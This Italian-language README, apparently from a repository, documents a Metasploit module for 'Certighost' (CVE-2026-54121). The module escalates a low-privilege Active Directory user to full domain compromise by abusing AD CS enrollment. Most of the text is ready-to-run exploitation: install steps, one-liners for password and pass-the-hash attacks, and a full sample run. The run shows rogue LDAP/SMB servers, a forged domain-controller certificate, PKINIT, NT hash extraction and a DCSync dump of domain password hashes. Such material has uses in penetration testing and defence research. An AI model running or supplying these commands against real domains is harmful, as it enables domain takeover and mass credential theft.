Metasploit-CVE-2026-54121-Certighost

Certighost originariamente scoperto e sfruttato da h0j3n e Aniq Fakhrul. Questo repository contiene un modulo ausiliario Metasploit che consente di passare da un qualsiasi utente di dominio con privilegi limitati alla compromissione completa del dominio abusando del fallback "chase" dell'enrollment AD CS. La CA può essere costretta ad autenticarsi verso un'infrastruttura controllata dall'attaccante e quindi a rilasciare un certificato che impersona un controller di dominio. Tale certificato viene usato per PKINIT; UnPAC-the-hash recupera l'hash NT del DC e DCSync fa il resto.

Installazione

mkdir -p ~/.msf4/modules/auxiliary/admin/dcerpc
cp cve_2026_54121_certighost.rb ~/.msf4/modules/auxiliary/admin/dcerpc/

Verifica che sia sintatticamente valido e che venga caricato:

ruby -c ~/.msf4/modules/auxiliary/admin/dcerpc/cve_2026_54121_certighost.rb

msfconsole -q -x "use auxiliary/admin/dcerpc/cve_2026_54121_certighost; show options; exit"

Le porte 389 e 445 sono privilegiate, quindi il modulo deve essere eseguito come root.

Utilizzo

Autenticazione con password

One-liner di MSF

sudo msfconsole -q -x "use auxiliary/admin/dcerpc/cve_2026_54121_certighost; set DOMAIN corp.local; set USERNAME jdoe; set PASSWORD 'Passw0rd!'; set DC_IP 10.0.0.10; set ACTION FULL; run" 

Esecuzione di msfconsole

use auxiliary/admin/dcerpc/cve_2026_54121_certighost
set DOMAIN corp.local
set USERNAME jdoe
set PASSWORD 'Passw0rd!'
set DC_IP 10.0.0.10
set ACTION FULL
run

Pass-the-hash

One-liner di MSF

sudo msfconsole -q -x "use auxiliary/admin/dcerpc/cve_2026_54121_certighost; set DOMAIN corp.local; set USERNAME jdoe; set NTLM_HASH 69289a87353c7083842956a62652d46c; set DC_IP 10.0.0.10; set ACTION FULL; run"

Esecuzione di msfconsole

use auxiliary/admin/dcerpc/cve_2026_54121_certighost
set DOMAIN corp.local
set USERNAME jdoe
set NTLM_HASH 69289a87353c7083842956a62652d46c
set DC_IP 10.0.0.10
set ACTION FULL
run

NTLM_HASH accetta un hash NT semplice, :NT o LM:NT. Quando sono impostati sia PASSWORD che NTLM_HASH, vince l'hash.

Solo certificato

Utile se si desidera il certificato per un uso offline o successivo:

sudo msfconsole -q -x "use auxiliary/admin/dcerpc/cve_2026_54121_certighost; set DOMAIN corp.local; set USERNAME jdoe; set PASSWORD 'Passw0rd!'; set DC_IP 10.0.0.10; set ACTION REQUEST_CERT; run"

---

Esempi

Sfruttamento riuscito

$ msfconsole -q -x "use auxiliary/admin/dcerpc/cve_2026_54121_certighost; set DOMAIN contoso.lab; set USERNAME lowpriv; set PASSWORD Abc123,./; set DC_IP 192.168.10.10; set ACTION FULL;  run"

[*] Starting persistent handler(s)...
[*] Setting default action FULL - view all 3 actions with the show actions command
DOMAIN => contoso.lab
USERNAME => lowpriv
PASSWORD => Abc123,./
DC_IP => 192.168.10.10
ACTION => FULL
[*] Certighost (CVE-2026-54121)
[*] Step 1: Discovering infrastructure via LDAP...
[*]   Discovering CA...
[+]     Found CA: ContosoCert-CA (DC01.contoso.lab)
[*]   Discovering target DC...
[+]     Target DC: DC01$ (DC01.contoso.lab)
[+]   CA:      ContosoCert-CA (192.168.10.10)
[+]   Target:  DC01$
[+]   Domain SID: S-1-5-21-2005457936-2008376057-2514283296
[*] Step 2: Creating machine account via SAMR...
[+] Successfully created contoso.lab\GHOSTGQJZBJLO$
[+]   Password: CGf0a69633d2Aa1
[+]   SID:      S-1-5-21-2005457936-2008376057-2514283296-1756
[+]   Created: contoso.lab\GHOSTGQJZBJLO$
[*] Step 3: Starting rogue servers...
[*]   Listener IP: 192.168.44.128
[+]   Rogue LDAP server: 192.168.44.128:389
[+]   Rogue SMB server:  192.168.44.128:445
[*]   Pre-flighting Netlogon oracle...
[*] Connecting to the endpoint mapper service...
[+]   Netlogon oracle ready
[*] Step 4: Requesting certificate via ICertPassage...
[+]   Certificate issued!
[+]   PFX (loot):  /root/.msf4/loot/20260731030034_default_192.168.10.10_windows.ad.cs_287527.pfx
[+]   PFX (local): /root/DC01_certighost.pfx
[+]   Subject: /CN=DC01.contoso.lab
[+]   Issuer:  /DC=lab/DC=contoso/CN=ContosoCert-CA
[*] Step 5: Performing PKINIT as DC01$...
[+]   PKINIT successful - TGT for [email protected]
[+]   ccache saved: /root/DC01.ccache
[*]   Extracting NT hash from PAC...
[+] 192.168.10.10:88 - Received a valid TGS-Response
[*] 192.168.10.10:445 - TGS MIT Credential Cache ticket saved to /root/.msf4/loot/20260731030034_default_192.168.10.10_mit.kerberos.cca_639932.bin
[+]   NT Hash: dc01$:aad3b435b51404eeaad3b435b51404ee:846704be57649a259c45b8ce773dcf8d
[*] Step 6: Performing DCSync...
[*]   Running DCSync as contoso.lab\DC01$ (output shown when complete)...
# NTLM hashes:
Administrator:500:aad3b435b51404eeaad3b435b51404ee:8c3efc486704d2ee71eebe71af14d86c:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:72446150d4b9a4dae4f0472fbb01b072:::
contoso.lab\lowpriv:1105:aad3b435b51404eeaad3b435b51404ee:69289a87353c7083842956a62652d46c:::
DC01$:1000:aad3b435b51404eeaad3b435b51404ee:846704be57649a259c45b8ce773dcf8d:::
DESKTOP-JSB2FG3$:1106:aad3b435b51404eeaad3b435b51404ee:b7ca2860c012a21801407b5f5c45c453:::
GHOSTQMSEUHWX$:1751:aad3b435b51404eeaad3b435b51404ee:3e5e99d282391e10226f3d40111196ee:::
GHOSTGQJZBJLO$:1756:aad3b435b51404eeaad3b435b51404ee:cbe6ca2d2dffb6069be63ee0700a05cb:::
# Password history (pwdump format - uid:rid:lmhash:nthash:::):
Administrator_history0:500:aad3b435b51404eeaad3b435b51404ee:8c3efc486704d2ee71eebe71af14d86c:::
contoso.lab\lowpriv_history0:1105:82e343ae06e69d44033ee76a390286a8:8c3efc486704d2ee71eebe71af14d86c:::
DC01$_history0:1000:aad3b435b51404eeaad3b435b51404ee:3795fa26828ec5e8bf0dc948d2d82bbe:::
DESKTOP-JSB2FG3$_history0:1106:dbfadcdb0dd4f78c286e856dcc5ece74:a175b9f66ecd598f5bcf8185d0e2e322:::
[+]   DCSync complete - 26 secret line(s) shown, others suppressed for opsec
[*]   (SIDs, full pwdump, account info and kerberos-key sections hidden)
[*] Cleaning up: deleting GHOSTGQJZBJLO$ as Administrator (Administrator hash from DCSync)...
[+] The specified account has been deleted.
[+]   Deleted GHOSTGQJZBJLO$
[*] Auxiliary module execution completed

Opzioni

msf auxiliary(admin/dcerpc/cve_2026_54121_certighost) > show options

Module options (auxiliary/admin/dcerpc/cve_2026_54121_certighost):